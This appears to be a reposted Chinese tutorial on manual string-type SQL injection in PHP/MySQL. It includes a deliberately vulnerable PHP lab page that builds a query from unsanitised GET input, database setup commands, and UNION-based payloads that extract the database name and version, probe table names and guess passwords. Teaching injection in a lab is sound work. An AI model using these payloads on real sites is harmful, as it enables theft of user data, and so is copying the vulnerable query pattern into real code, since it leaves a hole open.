SQL注入之PHP-MySQL實現手工注入-字符型


SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后台數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。 比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊。

 

完整筆記地址https://www.cnblogs.com/LyShark/p/10632263.html

Web安全筆記:https://www.cnblogs.com/LyShark/category/1418348.html

什么是字符型注入以及原理

1)字符型注入簡介:

字符串或串(String)是由數字、字母、下划線組成的一串字符。一般記為 s=“a1 a2 ···an ” (n>=0)。它是編程語言中表示文本的數據類型。

字符型注入就是把輸入的參數當做字符串來對數據庫進行查詢,字符型注入在sql語句中都采用單引號括起來。


2)基本原理:

我們看看下面這條SQL語句:

$query="select first_name from users where id='$_GET['id']'";

 

這句SQL的語句就是基於用戶輸入的id在users表中找到相應的first_name,正常用戶當然會輸入例如1,2等等。但是如果有人輸入這樣的內容呢?

1' union select database() #;

 

這樣的話這句SQL語句就變成了這樣:

select first_name from users where id='1'union select database()#'


這樣的話,我們不僅可以得到id=1的first_name,還可以得到當前數據庫的相關信息,這是開發人員所沒有想到的。以上只是一個簡單的SQL注入的例子。

從根本上講,當開發人員對用戶的輸入過濾不嚴,造成了用戶可以通過輸入SQL語句控制數據庫,就會產生SQL注入漏洞。

 

簡而言之,基於字符型的SQL注入即存在SQL注入漏洞的URL參數為字符串類型(需要使用單引號表示)。

字符型SQL注入的關鍵—–單引號的閉合

 

MySQL數據庫對於單引號的規則如下:

a. 單引號必須成對出現,否則數據庫就會報錯。
b. 如果兩個單引號之間內容為空,數據庫自動忽略。

應用程序數據庫的字符型SQL語句為:

select * from tables where idproduct=’ 13’;
select * from tables where name=’ fendo’;
select * from tables where data=’ 01/01/2017’;

 

字符型注入與數字型注入的區別

字符:除數字之外都是字符
數字:0-9

 

兩種SQL語句的區別:

數字型: SELECT 列 FROM 表 WHERE 數字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=‘值’

 

字符型注入實戰

構建練習環境

a.測試源碼,放入/var/www/html/index.php目錄下

<?php
$name=$_GET['username'];
$conn=mysql_connect("127.0.0.1","root","123");//連接mysql數據庫
if($conn){
echo "連接數據庫成功!";
}//判斷連接是否成功

echo "<br>";

mysql_select_db('fendo',$conn);//選擇連接請求為conn的數據庫(fendo)
$sql="select * from user where username = '$name'"; //字符型搜索語句
$result=mysql_query($sql);

while($row = mysql_fetch_array($result)){
echo "用戶ID:".$row['id']."<br >";
echo "用戶名:".$row['username']."<br >";
echo "用戶密碼:".$row['password']."<br >";
echo "用戶郵箱:".$row['email']."<br >";
}

mysql_close($conn); //關閉數據庫連接

echo "<hr>";
echo "你當前執行的sql語句為:"."<br >";
echo $sql;
?>

b.創建數據表結構如下.

[root@localhost html]# mysql -uroot -p
Enter password:

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 61
Server version: 5.5.56-MariaDB MariaDB Server

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.


MariaDB [(none)]> create database fendo;
Query OK, 1 row affected (0.00 sec)


MariaDB [(none)]> use fendo;
Database changed

MariaDB [fendo]> create table user(
-> id int not null,
-> username varchar(100) not null,
-> password varchar(100) not null,
-> email varchar(200) not null
-> );
Query OK, 0 rows affected (0.07 sec)

MariaDB [fendo]>

MariaDB [fendo]> insert into user(id,username,password,email) values(1,'admin','fendo','1181506874@qq.com');
Query OK, 1 row affected (0.00 sec)

MariaDB [fendo]> insert into user(id,username,password,email) values(2,'lyshark','good','1181506874@qq.com'); 
Query OK, 1 row affected (0.10 sec)

MariaDB [fendo]> insert into user(id,username,password,email) values(3,'guest','goods','1181506874@qq.com');
Query OK, 1 row affected (0.00 sec)

MariaDB [fendo]>

c.訪問以下網址,獲得截圖效果即可.

http://192.168.1.11/index.php?username=lyshark

猜字段數

index.php?username=lyshark' union select 1,2,3,4 and '1'='1

上圖可知,爆出1,2,3 接着更換SQL語句得出當前的數據庫名字與數據庫版本.

index.php?username=lyshark' union select database(),version(),3,4 and '1'='1

 

上圖可以清楚的看到,我們的數據庫版本,和數據庫名稱已經被脫褲子了.

 

猜表名

獲取表名使用 '+and+(select+count( * )+from+表名)>0+and+''=' 這種格式。

index.php?username=lyshark'+and+(select+count( * )+from+user)>0+and+''='

上圖可以看到,並沒報錯,說明存在user這個表。

 

猜密碼

index.php?username=admin' and password='fendo

上圖沒報錯,說明密碼正確


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM